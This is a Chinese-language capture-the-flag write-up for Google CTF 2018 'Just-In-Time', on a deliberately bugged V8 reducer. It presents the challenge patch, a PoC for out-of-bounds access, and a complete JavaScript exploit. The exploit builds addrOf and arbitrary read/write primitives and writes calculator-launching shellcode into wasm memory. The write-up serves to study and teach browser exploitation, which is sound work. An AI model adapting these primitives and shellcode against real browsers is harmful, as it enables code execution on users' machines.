0%

Google CTF 2018 Just-In-Time

看了這篇文章後想自己嘗試看看,弄了好幾天總算搞出來了 owob
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/#setup

環境搭建

使用 Ubuntu 20.04

1
2
3
4
git reset --hard e0a58f83255d1dae907e2ba4564ad8928a7dedf4
git apply addition-reducer.patch
gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu ="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true v8_untrusted_code_mitigations = false'
ninja -C out/x64.release d8

patch 分析

題目給了兩個 patch

nosandbox.patch

針對 chromium 的 patch,用來把 chrome 的 sandbox 拔掉,不過我這題的 chrome 一直 build 失敗就沒用這個了,只上 V8 的 patch 也不影響解題

addition-reducer.patch

針對 V8 的 patch,新增了一個 reducer
當節點是 kNumberAdd、左節點是 kNumberAdd、右節點是 kNumberConstant 時會嘗試合併節點

合併前的節點

合併後的節點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);

看似沒問題,但在 V8 中浮點數是用 IEEE 754 表示的,大於 Number.MAX_SAFE_INTEGEER 在計算時可能會出現問題
來個例子

由於節點的資料範圍是在 typer phase 計算的,而 duplicate_addition_reducer 是在 typer phase 之後的 typed lowering phase 被執行的,且 duplicate_addition_reducer 不會更新節點的範圍,可以利用這個機制進行 oob 讀寫

typer phase

typed lowering phase

PoC

1
2
3
4
5
6
7
8
9
10
11
12
function poc(a) {
let double_arr = [1.1, 1.2];
let x = a == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991; //Range(0, 1), but actually Range(0, 3)
return double_arr[x];
}

for (let i = 0; i < 0x10000; i++){
poc(0);
}
console.log(poc(1));

成功越界讀取

Exploit

addrOf primitive

利用乘法可以擴大讀取範圍
可以調一下 index 讓 double_arr 讀取到 obj_arr 的 elements,這樣就能 leak address
%DebugPrint() 似乎會影響內存布局,這邊我用 –print-code 選項讓他印出編譯好的 assembly,找到 double_arr 載入 elements 的地方下斷點,這樣就能找到 elements 的位置,obj_arr 應該在 double_arr 下面一點的位置,慢慢 ni 然後看內存可以找到 element_arr 的 element,計算 offset 就可以找到正確的 index 了

1
2
3
4
5
6
7
8
9
10
function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

fakeObj primitive

接下來嘗試用 oob 讀取 double_arr 的 map,但失敗了
有讀到看起來很像的東西,但在後續構造 arbitrary read/write 的時候失敗了,我找不到原因所以換個方法

arbitrary read/write primitive

嘗試宣告一個 ArrayBuffer 並在函數內部宣告一個 Float64Array,嘗試找到 Float64Array 存資料的 pointer
跟前面一樣在 double_arr 載入 elements 的位置下斷點

在下面一點的地方應該有這樣的 code,這邊是宣告 Float64Array 的地方,把斷點下在 call r10 後面

1
2
3
4
5
6
7
8
0x2879719c5ce3   123  48b90122804a61180000 REX.W movq rcx,0x18614a802201    ;; object: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
0x2879719c5ced 12d 488b75c8 REX.W movq rsi,[rbp-0x38]
0x2879719c5cf1 131 48b8594491476e380000 REX.W movq rax,0x386e47914459 ;; object: 0x386e47914459 <JSFunction Float64Array (sfi = 0xf1f45795eb9)>
0x2879719c5cfb 13b 498b55a0 REX.W movq rdx,[r13-0x60] (root (0x1e7f916825b1 <undefined>))
0x2879719c5cff 13f 488bd8 REX.W movq rbx,rax
0x2879719c5d02 142 488bfa REX.W movq rdi,rdx
0x2879719c5d05 145 49ba803f11c9ae550000 REX.W movq r10,0x55aec9113f80 (CreateTypedArray)
0x2879719c5d0f 14f 41ffd2 call r10

c 找到 double_arr 的 elements 之後下 c,double_array 後面應該會有 Float64Array,找到指向 buffer 的 pointer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤  x/32gx 0x367469ba1c41-1
0x367469ba1c40: 0x00001e7f91683539 0x0000000900000000
0x367469ba1c50: 0x3ff199999999999a 0x3ff3333333333333
0x367469ba1c60: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1c70: 0x3ff8000000000000 0x3ff999999999999a
0x367469ba1c80: 0x3ffb333333333333 0x3ffccccccccccccd
0x367469ba1c90: 0x3ffe666666666666 0x000034559a284c81
0x367469ba1ca0: 0x00001e7f91682d29 0x0000367469ba1ce1
0x367469ba1cb0: 0x000018614a802201 0x0000000000000000
0x367469ba1cc0: 0x0000010000000000 0x0000002000000000
0x367469ba1cd0: 0x0000000000000000 0x0000000000000000
0x367469ba1ce0: 0x00001e7f916845c9 0x0000002000000000
0x367469ba1cf0: 0x0000000000000000 0x000055aeca03d1f0
0x367469ba1d00: 0x00001e7f91683539 0x0000000900000000
0x367469ba1d10: 0x0000000000000000 0x3ff3333333333333
0x367469ba1d20: 0x3ff4cccccccccccd 0x3ff6666666666666
0x367469ba1d30: 0x3ff8000000000000 0x3ff999999999999a

gef➤ job 0x367469ba1c99
0x367469ba1c99: [JSTypedArray]
- map: 0x34559a284c81 <Map(FLOAT64_ELEMENTS)> [FastProperties]
- prototype: 0x386e47914559 <Object map = 0x34559a284cd1>
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> [FLOAT64_ELEMENTS]
- embedder fields: 2
- buffer: 0x18614a802201 <ArrayBuffer map = 0x34559a284aa1>
- byte_offset: 0
- byte_length: 256
- length: 32
- properties: 0x1e7f91682d29 <FixedArray[0]> {}
- elements: 0x367469ba1ce1 <FixedFloat64Array[32]> {
0-31: 0
}
- embedder fields = {
(nil)
(nil)
}

但 0x18614a802201 是個 object,真正存資料的地方是在 0x000055aeca03d1f0 這裡,這是一個 heap 上的位置

1
2
3
4
5
6
7
8
9
10
11
gef➤  telescope 0x18614a802201-1
0x000018614a802200│+0x0000: 0x000034559a284aa1 → 0x0800001e7f916822
0x000018614a802208│+0x0008: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802210│+0x0010: 0x00001e7f91682d29 → 0x0000001e7f916828
0x000018614a802218│+0x0018: 0x0000010000000000
0x000018614a802220│+0x0020: 0x000055aeca03d1f0 → 0x0000000000000000
0x000018614a802228│+0x0028: 0x0000000000000004
0x000018614a802230│+0x0030: 0x0000000000000000
0x000018614a802238│+0x0038: 0x0000000000000000
0x000018614a802240│+0x0040: 0x00001e7f916833f9 → 0x0000001e7f916822
0x000018614a802248│+0x0048: 0x0000000000000000

而這個東西也在 double_arr 的附近,可以用 oob 改成我們要操作的 address 並回傳一個新的 Float64Array,這樣就有任意位置讀寫了

1
2
3
4
5
6
7
8
9
10
11
12
13
var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

透過 wasm 寫入 shellcode

後續利用就很簡單了,透過任意寫竄改 wasm 的內容就可以了

成功彈出計算機

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
var buffer = new ArrayBuffer(0x10);
var bigUnit64 = new BigInt64Array(buffer);
var float64 = new Float64Array(buffer);

function ftoi(value){
float64[0] = value;
return bigUnit64[0];
}

function itof(value){
bigUnit64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

function ftoh(value){
return hex(ftoi(value));
}

function ftoa(value){
return ftoi(value) >> 1n << 1n;
}

function atof(value){
return itof(value | 1n);
}

function f(trigger, idx, obj){
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let obj_arr = [{}];
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 6;
obj_arr[idx] = obj; // prevent obj_arr be optimized away
return ftoa(double_arr[x]);
}

for(let i = 0; i < 0x10000; i++){
f(0, 0, {});
}

var rw_buffer = new ArrayBuffer(0x100);

function g(trigger, idx, addr) {
let double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9];
let result = new Float64Array(rw_buffer);
let x = trigger == 0 ? 9007199254740989 : 9007199254740992;
x = x + 1 + 1;
x -= 9007199254740991;
x *= 7;
trigger = result[idx];
double_arr[x] = itof(addr);
return result;
}

for(let i = 0; i < 0x10000; i++){
g(0, 0, 0n);
}


function addrOf(obj){
return f(1, 0, obj);
}

function get_arr(addr){
if (addr % 2n == 0){
addr += 1n;
}
return g(1, 0, addr);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var wasmInstance_addr = addrOf(wasmInstance);
console.log("wasm instance address: ", hex(wasmInstance_addr));

var tmp_arr = get_arr(wasmInstance_addr);
//theoretically it don't have to left shift, but idk why QwQ
//maybe there are some bug in my exp
var wasm_addr = ftoa(tmp_arr[0x1d]) << 8n;
console.log("wasm address: " + hex(wasm_addr));

var win_owob = get_arr(wasm_addr);

var shellcode = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
for (let i = 0; i < shellcode.length; i++){
win_owob[i] = itof(shellcode[i]);
}
wasmInstance.exports.main();